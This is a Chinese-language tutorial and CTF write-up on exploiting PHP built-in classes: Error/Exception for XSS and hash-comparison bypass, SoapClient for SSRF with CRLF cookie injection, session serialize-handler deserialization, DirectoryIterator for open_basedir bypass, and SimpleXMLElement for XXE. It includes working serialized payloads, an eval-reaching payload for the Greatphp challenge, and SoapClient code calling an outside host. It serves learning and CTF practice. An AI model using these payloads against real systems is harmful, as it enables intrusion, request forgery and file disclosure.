php原生类

1.php原生类

php为了解决一些常见的问题,存在一些基本的类提供给我们可以去使用(SPL),这是用于解决典型问题(standard problems)的一组接口与类的集合。

列出所有的内置类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}
}

得到很多的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ValueError::__wakeup
ValueError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
UnhandledMatchError::__wakeup
UnhandledMatchError::__toString
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
FiberError::__wakeup
FiberError::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
JsonException::__wakeup
JsonException::__toString
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
Random\RandomError::__wakeup
Random\RandomError::__toString
Random\BrokenRandomEngineError::__wakeup
Random\BrokenRandomEngineError::__toString
Random\RandomException::__wakeup
Random\RandomException::__toString
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionNamedType::__toString
ReflectionUnionType::__toString
ReflectionIntersectionType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionClassConstant::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
ReflectionAttribute::__toString
ReflectionEnum::__toString
ReflectionEnumUnitCase::__toString
ReflectionEnumBackedCase::__toString
AssertionError::__wakeup
AssertionError::__toString
PhpToken::__toString
DOMException::__wakeup
DOMException::__toString
PDOException::__wakeup
PDOException::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
SimpleXMLElement::__toString
SimpleXMLIterator::__toString

学习常见的各种类,包括

1
2
3
4
5
Error
Exception
SoapClient
DirectoryIterator
SimpleXMLElement

记录一些利用思路

2.使用 Error/Exception 内置类进行 XSS

适用于php7版本
在开启报错的情况下

1.error类

我们分析error的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Error implements Stringable, Throwable
{
protected $code;
protected $file = "";
protected $line;
protected $message = "";
private $previous = null;
private $string = "";
private $trace = [];
/*message:错误消息内容
code:错误代码
file:抛出错误的文件名
line:抛出错误在该文件中的行数
*/
final function getCode(): int { /* function body is hidden */ }
final function getFile(): string { /* function body is hidden */ }
final function getLine(): int { /* function body is hidden */ }
final function getMessage(): string { /* function body is hidden */ }
final function getPrevious(): Throwable|null { /* function body is hidden */ }
final function getTrace(): array { /* function body is hidden */ }
final function getTraceAsString(): string { /* function body is hidden */ }
private function __clone(): void { /* function body is hidden */ }
function __construct($message = "", $code = 0, $previous = null) { /* function body is hidden */ }
function __toString(): string { /* function body is hidden */ }
}

可以看到这里存在一个tostring方法,显然当对象作为字符串输出或者比较的时候,就会触发这里的tostring函数

1
2
3
4
5
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo $b;?>
#O:5:"Error":7:{s:10:"*message";s:29:"<script>alert('xss')</script>";s:13:"Errorstring";s:0:"";s:7:"*code";i:0;s:7:"*file";s:57:"C:\Users\lenovo\AppData\Local\Temp\tempCodeRunnerFile.php";s:7:"*line";i:2;s:12:"Errortrace";a:0:{}s:15:"Errorprevious";N;}

如果直接使用反序列化,这里可以造成xss

image-20230919194756638

显然是直接被合并到网页上解析了,造成了这里弹窗

2.exception类

适用于php5、7版本,同时开启报错

1
2
3
4
5
<?php
$a = new Exception("<script>alert('xss2')</script>");
$b = serialize($a);
echo urlencode($b);
?>

我们查看exception类的属性

发现和error类类似,由于内部的函数大部分被封装无法看到,这里猜测出现问题的是同一个函数

3.Error/Exception 内置类绕过哈希比较

error类是所有php内部错误类的基类 从php7开始被引入

exception类是所有异常的类,从php5开始被引入

这两个都存在__tostring方法

触发tostring方法

1
2
3
4
<?php
$a = new Error("payload",1);
echo $a;
?>//将$a作为echo的参数输出触发tostring()

image-20230919202107330

假设有以下函数

1
2
3
4
5
6
7
8
9
10
11
<?php
$a = new Error("payload",1);$b = new Error("payload",2);//注意这是同一行
echo $a;
echo $b;
if($a != $b)
{
echo "a!=b";
}
echo"\n";
var_dump(md5($a)===md5($b));//这里输出是true
?>

如果这样写

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$a = new Error("payload",1);
$b = new Error("payload",2);//这里是不y一行
echo $a;
echo $b;
if($a != $b)
{
echo "a!=b";
}
echo"\n";
var_dump(md5($a)===md5($b));//这里输出的是false
?>

__toString 返回的数据包含当前行号,所以返回相同的错误方法

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7

这里遇到就可以绕过hash

举个例子

[2020 极客大挑战]Greatphp

上来给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
?>

payload

1
2
3
4
5
6
7
8
9
10
11
<?php
class SYCLOVER {
public $syc;
public $lover;
}
$payload=new *SYCLOVER*();
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$payload->lover=new *Error*($str,2);$payload->syc=new *Error*($str,1);
$a=serialize($payload);
echo urlencode($a);
?>

尝试md5和sha的时候会触发tostring,达到相同的效果,从而达到绕过

4.使用 SoapClient 类进行 SSRF

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端

我们观察类内部

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
/*public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。*/

如果前面设置成null,后边设置成target_url,就可以造成ssrf

1
2
3
4
5
6
7
<?php
$a = new SoapClient(null,array('location'=>'http://47.120.0.245:3232/', 'uri'=>'ssrf'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

如果这里存在CRLF的漏洞,通过恶意的换行可以注入恶意的cookies和html代码

就可以注入一些恶意的语句

1
2
3
4
5
6
7
8
<?php
$target = 'http://requestbin.net/r/doe3ps5d';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

由于 Content-Type 在 User-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type 。

[LCTF 2018]bestphp’s revenge

上来给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
/*1、第一个参数是回调函数名称,可以是内置函数,第二个参数是函数的参数
2、传入的是数组的时候,会将第一个参数视为一个类的名称,第二个参数是类中的方法(可以不存在)*/
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}//通过get设置session的内容
var_dump($_SESSION);//输出session的值
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');//这里已经是数组了,显然会调用类里面的函数,
call_user_func($b, $a);//传入session这个类
?>

扫描出flag.php

告诉我们只有用127.0.0.1去输出flag,添加到session上面

这里需要session反序列化的知识

显然这里需要写入恶意的序列化的值

php session反序列化

session是会话控制,当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的CookiesGetPost中不存在session id,PHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存。

注册一个session

1
2
3
4
5
6
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'AsaL1n' ;
}
?>

可以看到生成了一个session

然后将session储存到对话控制中去

以下是一些简单的session设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
session.gc_divisor
php session垃圾回收机制相关配置
session.sid_bits_per_character
指定编码的会话ID字符中的位数
session.save_path=""
该配置主要设置session的存储路径
session.save_handler=""
该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.use_strict_mode
严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID
session.use_cookies
指定是否在客户端用 cookie 来存放会话 ID,默认启用
session.cookie_secure
指定是否仅通过安全连接发送 cookie,默认关闭
session.use_only_cookies
指定是否在客户端仅仅使用cookie来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击
session.name
指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID
session.auto_start
指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.cookie_lifetime
指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示“直到关闭浏览器”。默认为 0
session.cookie_path
指定要设置会话cookie 的路径,默认为 /
session.cookie_domain
指定要设置会话cookie 的域名,默认为无,表示根据 cookie 规范产生cookie的主机名
session.cookie_httponly
将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用
session.serialize_handler
定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,具体可见下文所述
session.gc_probability
该配置项与 session.gc_divisor 合起来用来管理 garbage collection,即垃圾回收进程启动的概率
session.gc_divisor
该配置项与session.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率
session.gc_maxlifetim
指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在session启动的时候开始( 取决于session.gc_probability 和 session.gc_divisor)
session.referer_check
包含有用来检查每个 HTTP Referer的子串。如果客户端发送了Referer信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串
session.cache_limiter
指定会话页面所使用的缓冲控制方法(none/nocache/private/private_no_expire/public)。默认为 nocache
session.cache_expire
以分钟数指定缓冲的会话页面的存活期,此设定对nocache缓冲控制方法无效。默认为 180
session.use_trans_sid
指定是否启用透明 SID 支持。默认禁用
session.sid_length
配置会话ID字符串的长度。 会话ID的长度可以在22256之间。默认值为32
session.trans_sid_tags
指定启用透明sid支持时重写哪些HTML标签以包括会话ID
session.trans_sid_hosts
指定启用透明sid支持时重写的主机,以包括会话ID
session.sid_bits_per_character
配置编码的会话ID字符中的位数
session.upload_progress.enabled
启用上传进度跟踪,并填充$ _SESSION变量, 默认启用。
session.upload_progress.cleanup
读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
session.upload_progress.prefix
配置$ _SESSION中用于上传进度键的前缀,默认为upload_progress_
session.upload_progress.name
$ _SESSION中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.freq
定义应该多长时间更新一次上传进度信息
session.upload_progress.min_freq
更新之间的最小延迟
session.lazy_write
配置会话数据在更改时是否被重写,默认启用

session在停止加载之后会储存到文件里面,文件的名字由sessionid决定

存储机制是由session.serialize_handler来决定的

文件的内容是序列化之后的内容

一般情况之下存在三种不同的引擎

php处理引擎 储存的方式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize(php版本大于5.5.4) 经过serialize()函数序列化处理的数组直接使用 serialize/unserialize函数,并且不会有phpphp_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(`

php处理器

当输入

1
2
3
4
5
6
7
8
<?php
session_start();
ini_set('session.serialize_handler','php');
$_SESSION['username'] = 'AsaL1n' ;
var_dump($_SESSION);
$session_id = session_id();
echo $session_id;
?>

序列化的结果是

session|s:6:”AsaL1n”;

前面是键名,后面是传参的值的序列化

php_binary处理器

1
2
3
4
5
6
7
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];//这里的长度是35
?>//输出是#sessionsessionsessionsessionsessions:6:"AsaL1n";
// 显然是键名长度的ascll码对应的值,后半就是键名和键值序列化之后的结果

php_serialize 处理器

最后就是session.serialize_handler

1
#a:1:{s:7:"session";s:6:"AsaL1n";}

可以看到将输入的值变成序列化的结果

问题原因

如果php和php_serialize两个处理器混合使用,就会产生问题

现在存在两个文件

1
2
3
4
5
6
7
<?php
error_reporting(0);
highlight_file(__FILE__);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

这里产生一个session,里面的值由get传入的那个值作为session的产生

然后存在另一个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
highlight_file(__FILE__);
class AsaL1n{
public $name = 'emo';
function __wakeup(){
echo "__wakeup";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new AsaL1n();
?>

可以看到,上面生成session用的是php_serialize函数,但是下面解析的时候用的是php函数

这里存在问题

第一步里,假设我们输入的是

|O:6:”AsaL1n”:1:{s:4:”name”;s:5:”happy”;}

这里他生成的session文件是这样的

a:1:{s:7:”session”;s:44:”|O:6:”AsaL1n”:1:{s:4:”name”;s:5:”happy”;}”;}

但是php处理的时候,会把|前面的当作键值,后面的当作序列化的值,所以在解的时候

会把session的值进行一次反序列化,于是就造成了反序列化漏洞

image-20230920213038138

正常情况下这里只会直接被销毁,不会出现wakeup方法

在[LCTF 2018]bestphp’s revenge那题里面,我们使用 call_user_func函数设置了两次的解析引擎

这样就完成了恶意数据的注入

5.使用DirectoryIterator 类绕过 open_basedir

1
2
3
open_basedir函数
open_basedir 将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。
如果把flag添加到这个函数里面,那就不能直接使用flag函数

DirectoryIterator 类提供了一个文件的接口,在php5里面增加的这个类

这个类可以使用golb://协议,无视open_basedir对目录的限制,可以起到ls的作用

代码

1
2
3
4
5
6
7
8
<?php
$dir = $_GET['114'];
highlight_file(__FILE__);
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

image-20230921154925627

可以看到已经执行了根目录下的文件

也可以使用FilesystemIterator类

可以看到,也能输出

image-20230921155247215

看到也可以输出

但是只能输出根目录和指定的目录文件,不能读取文件的内容

6使用 SimpleXMLElement 类进行 XXE

这个内置类可以解析xml文档里面的元素

1
2
3
4
5
6
7
final function __construct(
$data,
$options = 0,
$dataIsURL = false,
$namespaceOrPrefix = "",
$isPrefix = false
)

这里可以看到如果设置dataurl的为true的时候,就可以载入远程的xml数据

第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。

第二的参数设置成2就可以了